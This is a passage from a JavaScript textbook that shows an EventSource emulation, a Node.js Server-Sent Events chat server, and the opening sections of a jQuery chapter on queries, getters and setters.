At the time of this writing, EventSource is supported in Chrome and Safari, and Mozilla is expected to implement it in the first release after Firefox 4.0. In browsers (like Firefox) whose XMLHttpRequest implementation fires a readystatechange event (for `readyState` 3) whenever there is download progress, it is relatively easy to emulate EventSource with XMLHttpRequest, and Example 18-16 shows how this can be done. With this emulation module, Example 18-15 works in Chrome, Safari, *and* Firefox. (Example 18-16 does not work in IE or Opera, since their XMLHttpRequest implementations do not generate events on download progress.)

Example 18-16. Emulating EventSource with XMLHttpRequest

```
// Emulate the EventSource API for browsers that do not support it.
// Requires an XMLHttpRequest that sends readystatechange events whenever
// there is new data written to a long-lived HTTP connection. Note that
// this is not a complete implementation of the API: it does not support the
// readyState property, the close() method, nor the open and error events.
// Also event registration for message events is through the onmessage
// property only--this version does not define an addEventListener method.
if (window.EventSource === undefined) {     // If EventSource is not defined,
    window.EventSource = function(url) {    // emulate it like this.
        var xhr;                          // Our HTTP connection...
        var evtsrc = this;                // Used in the event handlers.
        var charsReceived = 0;            // So we can tell what is new.
        var type = null;                  // To check property response type.
        var data = "";                    // Holds message data
        var eventName = "message";        // The type field of our event objects
        var lastEventId = "";             // For resyncing with the server
        var retrydelay = 1000;            // Delay between connection attempts
        var aborted = false;              // Set true to give up on connecting

        // Create an XHR object
        xhr = new XMLHttpRequest();

        // Define an event handler for it
        xhr.onreadystatechange = function() {
            switch(xhr.readyState) {
            case 3: processData(); break;   // When a chunk of data arrives
            case 4: reconnect(); break;     // When the request closes
            }
        };
```

```
// And establish a long-lived connection through it
connect();

// If the connection closes normally, wait a second and try to restart
function reconnect() {
    if (aborted) return;             // Don't reconnect after an abort
    if (xhr.status >= 300) return;   // Don't reconnect after an error
    setTimeout(connect, retrydelay); // Wait a bit, then reconnect
};

// This is how we establish a connection
function connect() {
    charsReceived = 0;
    type = null;
    xhr.open("GET", url);
    xhr.setRequestHeader("Cache-Control", "no-cache");
    if (lastEventId) xhr.setRequestHeader("Last-Event-ID", lastEventId);
    xhr.send();
}

// Each time data arrives, process it and trigger the onmessage handler
// This function handles the details of the Server-Sent Events protocol
function processData() {
    if (!type) {   // Check the response type if we haven't already
        type = xhr.getResponseHeader('Content-Type');
        if (type !== "text/event-stream") {
            aborted = true;
            xhr.abort();
            return;
        }
    }
    // Keep track of how much we've received and get only the
    // portion of the response that we haven't already processed.
    var chunk = xhr.responseText.substring(charsReceived);
    charsReceived = xhr.responseText.length;

    // Break the chunk of text into lines and iterate over them.
    var lines = chunk.replace(/(\r\n|\r|\n)$/, "").split(/\r\n|\r|\n/);
    for(var i = 0; i < lines.length; i++) {
        var line = lines[i], pos = line.indexOf(":"), name, value="";
        if (pos == 0) continue;               // Ignore comments
        if (pos > 0) {                        // field name:value
            name = line.substring(0,pos);
            value = line.substring(pos+1);
            if (value.charAt(0) == " ") value = value.substring(1);
        }
        else name = line;                     // field name only

        switch(name) {
        case "event": eventName = value; break;
        case "data": data += value + "\n"; break;
        case "id": lastEventId = value; break;
        case "retry": retrydelay = parseInt(value) || 1000; break;
        default: break;  // Ignore any other line
        }
```

```
                if (line === "") {  // A blank line means send the event
                    if (evtsrc.onmessage && data !== "") {
                        // Chop trailing newline if there is one
                        if (data.charAt(data.length-1) == "\n")
                            data = data.substring(0, data.length-1);
                        evtsrc.onmessage({    // This is a fake Event object
                            type: eventName,  // event type
                            data: data,       // event data
                            origin: url       // the origin of the data
                        });
                    }
                    data = "";
                    continue;
                }
            }
        }
    };
}
```

We conclude this exploration of the Comet architecture with a server example. Example 18-17 is a custom HTTP server written in server-side JavaScript for the Node (§12.2) server-side environment. When a client requests the root URL "/", it sends the chat client code shown in Example 18-15 and the emulation code from Example 18-16. When a client makes a GET request for the URL "/chat", it saves the response stream in an array and keeps that connection open. And when a client makes a POST request to "/chat", it uses the body of the request as a chat message and writes it, prefixed with the Server-Sent Events "data:" prefix, to each of the open response streams. If you install Node, you can run this server example locally. It listens on port 8000, so after starting the server, you'd point your browser to `http://localhost:8000` to connect and begin chatting with yourself.

Example 18-17. A custom Server-Sent Events chat server

```
// This is server-side JavaScript, intended to be run with NodeJS.
// It implements a very simple, completely anonymous chat room.
// POST new messages to /chat, or GET a text/event-stream of messages
// from the same URL. Making a GET request to / returns a simple HTML file
// that contains the client-side chat UI.
var http = require('http');  // NodeJS HTTP server API

// The HTML file for the chat client. Used below.
var clientui = require('fs').readFileSync("chatclient.html");
var emulation = require('fs').readFileSync("EventSourceEmulation.js");

// An array of ServerResponse objects that we're going to send events to
var clients = [];

// Send a comment to the clients every 20 seconds so they don't
// close the connection and then reconnect
setInterval(function() {
    clients.forEach(function(client) {
        client.write(":ping\n");
    });
```

```
}, 20000);

// Create a new server
var server = new http.Server();

// When the server gets a new request, run this function
server.on("request", function (request, response) {
    // Parse the requested URL
    var url = require('url').parse(request.url);

    // If the request was for "/", send the client-side chat UI.
    if (url.pathname === "/") {  // A request for the chat UI
        response.writeHead(200, {"Content-Type": "text/html"});
        response.write("<script>" + emulation + "</script>");
        response.write(clientui);
        response.end();
        return;
    }
    // Send 404 for any request other than "/chat"
    else if (url.pathname !== "/chat") {
        response.writeHead(404);
        response.end();
        return;
    }

    // If the request was a post, then a client is posting a new message
    if (request.method === "POST") {
        request.setEncoding("utf8");
        var body = "";
        // When we get a chunk of data, add it to the body
        request.on("data", function(chunk) { body += chunk; });

        // When the request is done, send an empty response
        // and broadcast the message to all listening clients.
        request.on("end", function() {
            response.writeHead(200);   // Respond to the request
            response.end();

            // Format the message in text/event-stream format
            // Make sure each line is prefixed with "data:" and that it is
            // terminated with two newlines.
            message = 'data: ' + body.replace('\n', '\ndata: ') + "\r\n\r\n";
            // Now send this message to all listening clients
            clients.forEach(function(client) { client.write(message); });
        });
    }
    // Otherwise, a client is requesting a stream of messages
    else {
        // Set the content type and send an initial message event
        response.writeHead(200, {'Content-Type': "text/event-stream" });
        response.write("data: Connected\n\n");

        // If the client closes the connection, remove the corresponding
        // response object from the array of active clients
        request.connection.on("end", function() {
            clients.splice(clients.indexOf(response), 1);
```

```
            response.end();
        });

        // Remember the response object so we can send future messages to it
        clients.push(response);
    }
});

// Run the server on port 8000. Connect to http://localhost:8000/ to use it.
server.listen(8000);
```

CHAPTER 19
The jQuery Library

JavaScript has an intentionally simple core API and an overly complicated client-side API that is marred by major incompatibilities between browsers. The arrival of IE9 eliminates the worst of those incompatibilities, but many programmers find it easier to write web applications using a JavaScript framework or utility library to simplify common tasks and hide the differences between browsers. At the time of this writing, one of the most popular and widely used such libraries is jQuery.[1]

Because the jQuery library has become so widely used, web developers should be familiar with it: even if you don't use it in your own code, you are likely to encounter it in code written by others. Fortunately, jQuery is stable and small enough to document in this book. You'll find a comprehensive introduction in this chapter, and Part IV includes a `jQuery` quick reference. jQuery methods do not have individual entries in the reference section, but the `jQuery` gives a synopsis of each method.

jQuery makes it easy to find the elements of a document that you care about and then manipulate those elements by adding content, editing HTML attributes and CSS properties, defining event handlers, and performing animations. It also has Ajax utilities for dynamically making HTTP requests and general-purpose utility functions for working with objects and arrays.

As its name implies, the jQuery library is focused on *queries*. A typical query uses a CSS selector to identify a set of document elements and returns an object that represents those elements. This returned object provides many useful methods for operating on the matching elements as a group. Whenever possible, these methods return the object on which they are invoked, which allows a succinct method chaining idiom to be used. These features are at the heart of jQuery's power and utility:

- An expressive syntax (CSS selectors) for referring to elements in the document

1. Other commonly used libraries not covered in this book include Prototype, YUI, and dojo. Search the Web for "JavaScript libraries" to find many more.

- An efficient query method for finding the set of document elements that match a CSS selector
- A useful set of methods for manipulating selected elements
- Powerful functional programming techniques for operating on sets of elements as a group, rather than one at a time
- A succinct idiom (method chaining) for expressing sequences of operations

This chapter begins with an introduction to jQuery that shows how to make simple queries and work with the results. The sections that follow explain:

- How to set HTML attributes, CSS styles and classes, HTML form values and element content, geometry, and data
- How to alter the structure of a document by inserting, replacing, wrapping, and deleting elements
- How to use jQuery's cross-browser event model
- How to produce animated visual effects with jQuery
- jQuery's Ajax utilities for making scripted HTTP requests
- jQuery's utility functions
- The full syntax of jQuery's selectors, and how to use jQuery's advanced selection methods
- How to extend jQuery by using and writing plug-ins
- The jQuery UI library

19.1 jQuery Basics

The jQuery library defines a single global function named `jQuery()`. This function is so frequently used that the library also defines the global symbol `$` as a shortcut for it. These are the only two symbols jQuery defines in the global namespace.[2]

This single global function with two names is the central query function for jQuery. Here, for example, is how we ask for the set of all `<div>` elements in a document:

```
var divs = $("div");
```

The value returned by this function represents a set of zero or more DOM elements and is known as a jQuery object. Note that `jQuery()` is a factory function rather than a constructor: it returns a newly created object but is not used with the `new` keyword. jQuery objects define many methods for operating on the sets of elements they represent, and most of this chapter is devoted to explaining those methods. Below, for example, is code that finds, highlights, and quickly displays all hidden `<p>` elements that have a class of "details":

2. If you use `$` in your own code, or are using another library, such as Prototype, that uses `$`, you can call `jQuery.noConflict()` to restore `$` to its original value.

```
$("p.details").css("background-color", "yellow").show("fast");
```

The `css()` method operates on the jQuery object returned by `$()`, and returns that same object, so that the `show()` method can be invoked next in a compact "method chain." This method chaining idiom is common in jQuery programming. As another example, the code below finds all elements in the document that have the CSS class "clicktohide" and registers an event handler on each one. That event handler is invoked when the user clicks on the element and makes the element slowly "slide up" and disappear:

```
$(".clicktohide").click(function() { $(this).slideUp("slow"); });
```


Obtaining jQuery

The jQuery library is free software. You can download it from *http://jquery.com*. Once you have the code, you can include it in your web pages with a `<script>` element like this:

```
<script src="jquery-1.4.2.min.js"></script>
```

The "min" in the filename above indicates that this is the minimized version of the library, with unnecessary comments and whitespace removed, and internal identifiers replaced with shorter ones.

Another way to use jQuery in your web applications is to allow a content distribution network to serve it using a URL like one of these:

```
http://code.jquery.com/jquery-1.4.2.min.js
http://ajax.microsoft.com/ajax/jquery/jquery-1.4.2.min.js
http://ajax.googleapis.com/ajax/libs/jquery/1.4.2/jquery.min.js
```

This chapter documents jQuery version 1.4. If you are using a different version, you should replace the "1.4.2" version number in the URLs above as necessary.[3] If you use the Google CDN, you can use "1.4" to get the latest release in the 1.4.x series, or just "1" to get the most current release less than 2.0. The major advantage of loading `jQuery` from well-known URLs like these is that, because of jQuery's popularity, visitors to your website will likely already have a copy of the library in their browser's cache and no download will be necessary.

19.1.1 The jQuery() Function

The `jQuery()` function (a.k.a. `$()`) is the most important one in the jQuery library. It is heavily overloaded, however, and there are four different ways you can invoke it.

The first, and most common, way to invoke `$()` is to pass a CSS selector (a string) to it. When called this way, it returns the set of elements from the current document that match the selector. jQuery supports most of the CSS3 selector syntax, plus some extensions of its own. Complete details of the jQuery selector syntax are in §19.8.1. If

3. When this chapter was written, the current version of jQuery was 1.4.2. As the book goes to press, jQuery 1.5 has just been released. The changes in jQuery 1.5 mostly involve the Ajax utility function, and they will be mentioned in passing in §19.6.

you pass an element or a jQuery object as the second argument to `$()`, it returns only matching descendants of the specified element or elements. This optional second argument value defines the starting point (or points) for the query and is often called the *context*.

The second way to invoke `$()` is to pass it an Element or Document or Window object. Called like this, it simply wraps the element, document, or window in a jQuery object and returns that object. Doing this allows you to use jQuery methods to manipulate the element rather than using raw DOM methods. It is common to see jQuery programs call `$(document)` or `$(this)`, for example. jQuery objects can represent more than one element in a document, and you can also pass an array of elements to `$()`. In this case, the returned jQuery object represents the set of elements in your array.

The third way to invoke `$()` is to pass it a string of HTML text. When you do this, jQuery creates the HTML element or elements described by that text and then returns a jQuery object representing those elements. jQuery does not automatically insert the newly created elements into the document, but the jQuery methods described in §19.3 allow you to easily insert them where you want them. Note that you cannot pass plain text when you invoke `$()` in this way, or jQuery will think you are passing a CSS selector. For this style of invocation, the string you pass to `$()` must include at least one HTML tag with angle brackets.

When invoked in this third way, `$()` accepts an optional second argument. You can pass a Document object to specify the document with which the elements are to be associated. (If you are creating elements to be inserted into an `<iframe>`, for example, you'll need to explicitly specify the document object of that frame.) Or you can pass an object as the second argument. If you do this, the object properties are assumed to specify the names and values of HTML attributes to be set on the object. But if the object includes properties with any of the names "css", "html", "text", "width", "height", "offset", "val", or "data", or properties that have the same name as any of the jQuery event handler registration methods, jQuery will invoke the method of the same name on the newly created element and pass the property value to it. (Methods like `css()`, `html()`, and `text()` are covered in §19.2 and event handler registration methods are in §19.4. For example:

```
var img = $("<img/>",                // Create a new <img> element
            { src:url,               // with this HTML attribute,
              css: {borderWidth:5},  // this CSS style,
              click: handleClick     // and this event handler.
            });
```

Finally, the fourth way to invoke `$()` is to pass a function to it. If you do this, the function you pass will be invoked when the document has been loaded and the DOM is ready to be manipulated. This is the jQuery version of the `onLoad()` function from Example 13-5. It is very common to see jQuery programs written as anonymous functions defined within a call to `jQuery()`:

```
jQuery(function() {  // Invoked when the document has loaded
    // All jQuery code goes here
});
```

You'll sometimes see `$(f)` written using the older and more verbose form: `$(document).ready(f)`.

The function you pass to `jQuery()` will be invoked with the document object as its `this` value and with the `jQuery` function as its single argument. This means that you can undefine the global `$` function and still use that convenient alias locally with this idiom:

```
jQuery.noConflict();  // Restore $ to its original state
jQuery(function($) {  // Use $ as a local alias for the jQuery object
    // Put all your jQuery code here
});
```

jQuery triggers functions registered through `$()` when the DOMContentLoaded event is fired (§13.3.4) or, in browsers that don't support that event, when the load event is fired. This means that the document will be completely parsed, but that external resources such as images may not be loaded yet. If you pass a function to `$()` after the DOM is ready, that function will be invoked immediately, before `$()` returns.

The jQuery library also uses the `jQuery()` function as its namespace and defines a number of utility functions and properties under it. The `jQuery.noConflict()` function mentioned above is one such utility function. Others include `jQuery.each()` for general-purpose iteration and `jQuery.parseJSON()` for parsing JSON text. §19.7 lists general-purpose utility functions, and other jQuery functions are described throughout this chapter.

jQuery Terminology

Let's pause here to define some important terms and phrases that you'll see throughout this chapter:

"the jQuery function"
: The jQuery function is the value of `jQuery` or of `$`. This is the function that creates jQuery objects, registers handlers to be invoked when the DOM is ready, and that also serves as the jQuery namespace. I usually refer to it as `$()`. Because it serves as a namespace, the jQuery function might also be called "the global jQuery object," but it is very important not to confuse it with "a jQuery object."

"a jQuery object"
: A jQuery object is an object returned by the jQuery function. A jQuery object represents a set of document elements and can also be called a "jQuery result," a "jQuery set," or a "wrapped set."

"the selected elements"
: When you pass a CSS selector to the jQuery function, it returns a jQuery object that represents the set of document elements that match that selector. When describing the methods of the jQuery object, I'll often use the phrase "the selected elements" to refer to those matching elements. For example, to explain the

attr() method, I might write "the attr() method sets HTML attributes on the selected elements." This is instead of a more precise but awkward description like "the attr() method sets HTML attributes on the elements of the jQuery object on which it was invoked." Note that the word "selected" refers to the CSS selector and has nothing to do with any selection performed by the user.

"a jQuery function"
: A jQuery function is a function like jQuery.noConflict() that is defined in the namespace of *the* jQuery function. jQuery functions might also be described as "static methods."

"a jQuery method"
: A jQuery method is a method of a jQuery object returned by the jQuery function. The most important part of the jQuery library is the powerful methods it defines.

The distinction between jQuery functions and methods is sometimes tricky because a number of functions and methods have the same name. Note the differences between these two lines of code:

```
// Call the jQuery function each() to
// invoke the function f once for each element of the array a
$.each(a,f);

// Call the jQuery() function to obtain a jQuery object that represents all
// <a> elements in the document. Then call the each() method of that jQuery
// object to invoke the function f once for each selected element.
$("a").each(f);
```

The official jQuery documentation at *http://jquery.com* uses names like $.each to refer to jQuery functions and names like .each (with a period but without a dollar sign) to refer to jQuery methods. In this book, I'll use the terms "function" and "method" instead. Usually it will be clear from the context which is being discussed.

19.1.2 Queries and Query Results

When you pass a CSS selector string to $(), it returns a jQuery object that represents the set of matched (or "selected") elements. CSS selectors were introduced in §15.2.5, and you can review that section for examples—all of the examples shown there work when passed to $(). The specific selector syntax supported by jQuery is detailed in §19.8.1. Rather than focus on those advanced selector details now, however, we're going to first explore what you can do with the results of a query.

The value returned by $() is a jQuery object. jQuery objects are array-like: they have a length property and have numeric properties from 0 to length-1. (See §7.11 for more on array-like objects.) This means that you can access the contents of the jQuery object using standard square-bracket array notation:

```
$("body").length   // => 1: documents have only a single body element
$("body")[0]       // This the same as document.body
```

If you prefer not to use array notation with jQuery objects, you can use the size() method instead of the length property and the get() method instead of indexing with

square brackets. If you need to convert a jQuery object to a true array, call the `toArray()` method.

In addition to the `length` property, jQuery objects have three other properties that are sometimes of interest. The `selector` property is the selector string (if any) that was used when the jQuery object was created. The `context` property is the context object that was passed as the second argument to `$()`, or the Document object otherwise. Finally, all jQuery objects have a property named `jquery`, and testing for the existence of this property is a simple way to distinguish jQuery objects from other array-like objects. The value of the `jquery` property is the jQuery version number as a string:

```
// Find all <script> elements in the document body
var bodyscripts = $("script", document.body);
bodyscripts.selector   // => "script"
bodyscripts.context    // => document.body
bodyscripts.jquery     // => "1.4.2"
```

$() versus querySelectorAll()

The `$()` function is similar to the Document method `querySelectorAll()` that was described in §15.2.5: both take a CSS selector as their argument and return an array-like object that holds the elements that match the selector. The jQuery implementation uses `querySelectorAll()` in browsers that support it, but there are good reasons to use `$()` instead of `querySelectorAll()` in your own code:

- `querySelectorAll()` has only recently been implemented by browser vendors. `$()` works in older browsers as well as new ones.
- Because jQuery can perform selections "by hand," the CSS3 selectors supported by `$()` work in all browsers, not just those browsers that support CSS3.
- The array-like object returned by `$()` (a jQuery object) is much more useful than the array-like object (a NodeList) returned by `querySelectorAll()`.

If you want to loop over all elements in a jQuery object, you can call the `each()` method instead of writing a `for` loop. The `each()` method is something like the ECMAScript 5 (ES5) `forEach()` array method. It expects a callback function as its sole argument, and it invokes that callback function once for each element in the jQuery object (in document order). The callback is invoked as a method of the matched element, so within the callback the `this` keyword refers to an Element object. `each()` also passes the index and the element as the first and second arguments to the callback. Note that `this` and the second argument are raw document elements, not jQuery objects; if you want to use a jQuery method to manipulate the element, you'll need to pass it to `$()` first.

jQuery's `each()` method has one feature that is quite different than `forEach()`: if your callback returns `false` for any element, iteration is terminated after that element (this is like using the `break` keyword in a normal loop). `each()` returns the jQuery object on which it is called, so that it can be used in method chains. Here is an example (it uses the `prepend()` method that will be explained in §19.3):

```
// Number the divs of the document, up to and including div#last
$("div").each(function(idx) { // find all <div>s, and iterate through them
    $(this).prepend(idx + ": ");          // Insert index at start of each
    if (this.id === "last") return false; // Stop at element #last
});
```

Despite the power of the `each()` method, it is not very commonly used, since jQuery methods usually iterate implicitly over the set of matched elements and operate on them all. You typically only need to use `each()` if you need to manipulate the matched elements in different ways. Even then, you may not need to call `each()`, since a number of jQuery methods allow you to pass a callback function.

The jQuery library predates the ES5 array methods, and it defines a couple of other methods that provide functionality similar to the ES5 methods. The jQuery method `map()` works much like the `Array.map()` method. It accepts a callback function as its argument and invokes that function once for each element of the jQuery object, collecting the return values of those invocations, and returning a new jQuery object holding those return values. `map()` invokes the callback in the same way that the `each()` method does: the element is passed as the `this` value and as the second argument and the index of the element is passed as the first argument. If the callback returns `null` or `undefined`, that value is ignored and nothing is added to the new jQuery object for that invocation. If the callback returns an array or an array-like object (such as a jQuery object), it is "flattened" and its elements are added individually to the new jQuery object. Note that the jQuery object returned by `map()` may not hold document elements, but it still works as an array-like object. Here is an example:

```
// Find all headings, map to their ids, convert to a true array, and sort it.
$(":header").map(function() { return this.id; }).toArray().sort();
```

Along with `each()` and `map()`, another fundamental jQuery method is `index()`. This method expects an element as its argument and returns the index of that element in the jQuery object, or –1 if it is not found. In typical jQuery fashion, however, this `index()` method is overloaded. If you pass a jQuery object as the argument, `index()` searches for the first element of that object. If you pass a string, `index()` uses it as a CSS selector and returns the index of the first element of this jQuery object in the set of elements matching that selector. And if you pass no argument, `index()` returns the index of the first element of this jQuery object within its sibling elements.

The final general-purpose jQuery method we'll discuss here is `is()`. It takes a selector as its argument and returns `true` if at least one of the selected elements also matches the specified selector. You might use it in an `each()` callback function, for example:

```
$("div").each(function() {   // For each <div> element
    if ($(this).is(":hidden")) return;  // Skip hidden elements
    // Do something with the visible ones here
});
```

19.2 jQuery Getters and Setters

Some of the simplest, and most common, operations on jQuery objects are those that get or set the value of HTML attributes, CSS styles, element content, or element geometry. This section describes those methods. First, however, it is worth making some generalizations about getter and setter methods in jQuery:

- Rather than defining a pair of methods, jQuery uses a single method as both getter and setter. If you pass a new value to the method, it sets that value; if you don't specify a value, it returns the current value.
- When used as setters, these methods set values on every element in the jQuery object, and then return the jQuery object to allow method chaining.
- When used as getters, these methods query only the first element of the set of elements and return a single value. (Use `map()` if you want to query all elements.) Since getters do not return the jQuery object they are invoked on, they can only appear at the end of a method chain.
- When used as setters, these methods often accept object arguments. In this case, each property of the object specifies a name and a value to be set.
- When used as setters, these methods often accept functions as values. In this case, the function is invoked to compute the value to be set. The element that the value is being computed for is the `this` value, the element index is passed as the first argument to the function, and the current value is passed as the second argument.

Keep these generalizations about getters and setters in mind as you read the rest of this section. Each subsection below explains an important category of jQuery getter/setter methods.

19.2.1 Getting and Setting HTML Attributes

The `attr()` method is the jQuery getter/setter for HTML attributes, and it adheres to each of the generalizations described above. `attr()` handles browser incompatibilities and special cases and allows you to use either HTML attribute names or their JavaScript property equivalents (where they differ). For example, you can use either "for" or "htmlFor" and either "class" or "className". `removeAttr()` is a related function that completely removes an attribute from all selected elements. Here are some examples:

```
$("form").attr("action");                // Query the action attr of 1st form
$("#icon").attr("src", "icon.gif");      // Set the src attribute
$("#banner").attr({src:"banner.gif",     // Set 4 attributes at once
                   alt:"Advertisement",
                   width:720, height:64});
$("a").attr("target", "_blank");         // Make all links load in new windows
$("a").attr("target", function() {       // Load local links locally and load
    if (this.host == location.host) return "_self"
    else return "_blank";                // off-site links in a new window
});
```

```
$("a").attr({target: function() {...}}); // We can also pass functions like this
$("a").removeAttr("target");             // Make all links load in this window
```

19.2.2 Getting and Setting CSS Attributes

The `css()` method is very much like the `attr()` method, but it works with the CSS styles of an element rather than the HTML attributes of the element. When querying style values, `css()` returns the current (or "computed"; see §16.4) style of the element: the returned value may come from the `style` attribute or from a stylesheet. Note that it is not possible to query compound styles such as "font" or "margin". You must instead query individual styles such as "font-weight", "font-family", "margin-top", or "margin-left". When setting styles, the `css()` method simply adds the style to the element's `style` attribute. `css()` allows you to use hyphenated CSS style names ("background-color") or camel-case JavaScript style names ("backgroundColor"). When querying style values, `css()` returns numeric values as strings, with units suffixes included. When setting, however, it converts numbers to strings and adds a "px" (pixels) suffix to them when necessary:

```
$("h1").css("font-weight");              // Get font weight of first <h1>
$("h1").css("fontWeight");               // Camel case works, too
$("h1").css("font");                     // Error: can't query compound styles
$("h1").css("font-variant",              // Set a style on all <h1> elements
            "smallcaps");
$("div.note").css("border",              // Okay to set compound styles
                  "solid black 2px");
$("h1").css({ backgroundColor: "black",  // Set multiple styles at once
              textColor: "white",        // camelCase names work better
              fontVariant: "small-caps", // as object properties
              padding: "10px 2px 4px 20px",
              border: "dotted black 4px" });
// Increase all <h1> font sizes by 25%
$("h1").css("font-size", function(i,curval) {
              return Math.round(1.25*parseInt(curval));
            });
```

19.2.3 Getting and Setting CSS Classes

Recall that the value of the `class` attribute (accessed via the `className` property in JavaScript) is interpreted as a space-separated list of CSS class names. Usually, we want to add, remove, or test for the presence of a single name in the list rather than replacing one list of classes with another. For this reason, jQuery defines convenience methods for working with the `class` attribute. `addClass()` and `removeClass()` add and remove classes from the selected elements. `toggleClass()` adds classes to elements that don't already have them and removes classes from those that do. `hasClass()` tests for the presence of a specified class. Here are some examples:

```
// Adding CSS classes
$("h1").addClass("hilite");            // Add a class to all <h1> elements
$("h1+p").addClass("hilite first");    // Add 2 classes to <p> elts after <h1>
$("section").addClass(function(n) {    // Pass a function to add a custom class
    return "section" + n;              //  to each matched element
```

```
});

// Removing CSS classes
$("p").removeClass("hilite");          // Remove a class from all <p> elements
$("p").removeClass("hilite first");    // Multiple classes are allowed
$("section").removeClass(function(n) { // Remove custom classes from elements
    return "section" + n;
});
$("div").removeClass();                // Remove all classes from all <div>s

// Toggling CSS classes
$("tr:odd").toggleClass("oddrow");     // Add the class if it is not there
                                       // or remove it if it is
$("h1").toggleClass("big bold");       // Toggle two classes at once
$("h1").toggleClass(function(n) {      // Toggle a computed class or classes
    return "big bold h1-" + n;
});
$("h1").toggleClass("hilite", true);   // Works like addClass
$("h1").toggleClass("hilite", false);  // Works like removeClass

// Testing for CSS classes
$("p").hasClass("first")               // Does any p element have this class?
$("#lead").is(".first")                // This does the same thing
$("#lead").is(".first.hilite")         // is() is more flexible than hasClass()
```

Note that the `hasClass()` method is less flexible than `addClass()`, `removeClass()`, and `toggleClass()`. `hasClass()` works for only a single class name and does not support function arguments. It returns `true` if any of the selected elements has the specified CSS class and returns `false` if none of them do. The `is()` method (described in §19.1.2) is more flexible and can be used for the same purpose.

These jQuery methods are like the `classList` methods described in §16.5, but the jQuery methods work in all browsers, not just those that support the HTML5 `classList` property. Also, of course, the jQuery methods work for multiple elements and can be chained.

19.2.4 Getting and Setting HTML Form Values

`val()` is a method for setting and querying the `value` attribute of HTML form elements and also for querying and setting the selection state of checkboxes, radio buttons, and `<select>` elements:

```
$("#surname").val()              // Get value from the surname text field
$("#usstate").val()              // Get single value from <select>
$("select#extras").val()         // Get array of values from <select multiple>

$("input:radio[name=ship]:checked").val()  // Get val of checked radio button
$("#email").val("Invalid email address")   // Set value of a text field
$("input:checkbox").val(["opt1", "opt2"])  // Check any checkboxes with
                                           // these names or values
$("input:text").val(function() { // Reset all text fields to their default
    return this.defaultValue;
})
```

19.2.5 Getting and Setting Element Content

The `text()` and `html()` methods query and set the plain-text or HTML content of an element or elements. When invoked with no arguments, `text()` returns the plain-text content of all descendant text nodes of all matched elements. This works even in browsers that do not support the `textContent` or `innerText` properties (§15.5.2).

If you invoke the `html()` method with no arguments, it returns the HTML content of just the first matched element. jQuery uses the `innerHTML` property to do this: `x.html()` is effectively the same as `x[0].innerHTML`.

If you pass a string to `text()` or `html()`, that string will be used for the plain-text or HTML-formatted text content of the element, and it will replace all existing content. As with the other setter methods we've seen, you can also pass a function, which will be used to compute the new content string:

```
var title = $("head title").text()   // Get document title
var headline = $("h1").html()        // Get html of first <h1> element
$("h1").text(function(n,current) {   // Give each heading a section number
    return "§" + (n+1) + ": " + current
});
```

19.2.6 Getting and Setting Element Geometry

We learned in §15.8 that it can be tricky to correctly determine the size and position of an element, especially in browsers that do not support `getBoundingClientRect()` (§15.8.2). jQuery simplifies these computations with methods that work in any browser. Note that all of the methods described here are getters, but only some can also be used as setters.

To query or set the position of an element, use the `offset()` method. This method measures positions relative to the document and returns them in the form of an object with `left` and `top` properties that hold the X and Y coordinates. If you pass an object with these properties to the method, it sets the position you specify. It sets the CSS `position` attribute as necessary to make elements positionable:

```
var elt = $("#sprite");      // The element we want to move
var position = elt.offset(); // Get its current position
position.top += 100;         // Change its Y coordinate
elt.offset(position);        // Set the new position

// Move all <h1> elements to the right by a distance that depends on their
// position in the document
$("h1").offset(function(index,curpos) {
    return {left: curpos.left + 25*index, top:curpos.top};
});
```

The `position()` method is like `offset()`, except that it is a getter only and it returns element positions relative to their offset parent, rather than relative to the document as a whole. In §15.8.5, we saw that every element has an `offsetParent` property that its position is relative to. Positioned elements always serve as the offset parents for their

descendants, but some browsers also make other elements, such as table cells, into offset parents. jQuery only considers positioned elements to be offset parents, and the `offsetParent()` method of a jQuery object maps each element to the nearest positioned ancestor element or to the `<body>` element. Note the unfortunate naming mismatch for these methods: `offset()` returns the absolute position of an element, in document coordinates. And `position()` returns the offset of an element relative to its `offsetParent()`.

There are three getters for querying the width of an element and three for querying the height. The `width()` and `height()` methods return the basic width and height and do not include padding, borders, or margins. `innerWidth()` and `innerHeight()` return the width and height of an element plus the width and height of its padding (the word "inner" refers to the fact that these methods return the dimensions measured to the inside of the border). `outerWidth()` and `outerHeight()` normally return the element's dimensions plus its padding and border. If you pass the value `true` to either of these methods, they also add in the size of the element's margins. The code below shows four different widths that you can compute for an element:

```
var body = $("body");
var contentWidth = body.width();
var paddingWidth = body.innerWidth();
var borderWidth = body.outerWidth();
var marginWidth = body.outerWidth(true);
var padding = paddingWidth-contentWidth; // sum of left and right padding
var borders = borderWidth-paddingWidth;  // sum of left and right border widths
var margins = marginWidth-borderWidth;   // sum of left and right margins
```

The `width()` and `height()` methods have features that the other four methods (the inner and outer methods) do not. First, if the first element of the jQuery object is a Window or Document object, they return the size of the window's viewport or the full size of the document. The other methods only work for elements, not windows or documents.

The other feature of the `width()` and `height()` methods is that they are setters as well as getters. If you pass a value to these methods, they set the width or height of every element in the jQuery object. (Note, however, that they cannot set the width or height of Window and Document objects.) If you pass a number, it is taken as a dimension in pixels. If you pass a string value, it is used as the value of the CSS `width` or `height` attribute and can therefore use any CSS unit. Finally, as with other setters, you can pass a function that will be called to compute the width or height.

There is a minor asymmetry between the getter and setter behavior of `width()` and `height()`. When used as getters, these methods return the dimensions of an element's content box, excluding padding, borders, and margins. When you use them as setters, however, they simply set the CSS `width` and `height` attributes. By default, those attributes also specify the size of the content box. But if an element has its CSS `box-sizing` attribute (§16.2.3.1) set to `border-box`, the `width()` and `height()` methods set dimensions that include the padding and border. For an element `e` that uses the content-box box model, calling `$(e).width(x).width()` returns the value `x`. For elements that use the border-box model, however, this is not generally the case.

The final pair of geometry-related jQuery methods are `scrollTop()` and `scrollLeft()`, which query the scrollbar positions for an element or set the scrollbar positions for all elements. These methods work for the Window object as well as for document elements, and when invoked on a Document, they query or set the scrollbar positions of the Window that holds the document. Unlike with other setters, you cannot pass a function to `scrollTop()` or `scrollLeft()`.

We can use `scrollTop()` as a getter and a setter, along with the `height()` method to define a method that scrolls the window up or down by the number of pages you specify:

```
// Scroll the window by n pages. n can be fractional or negative
function page(n) {
    var w = $(window);                  // Wrap the window in a jQuery object
    var pagesize = w.height();          // Get the size of a page
    var current = w.scrollTop();        // Get the current scrollbar position
    w.scrollTop(current + n*pagesize);  // Set new scrollbar position
}
```

19.2.7 Getting and Setting Element Data

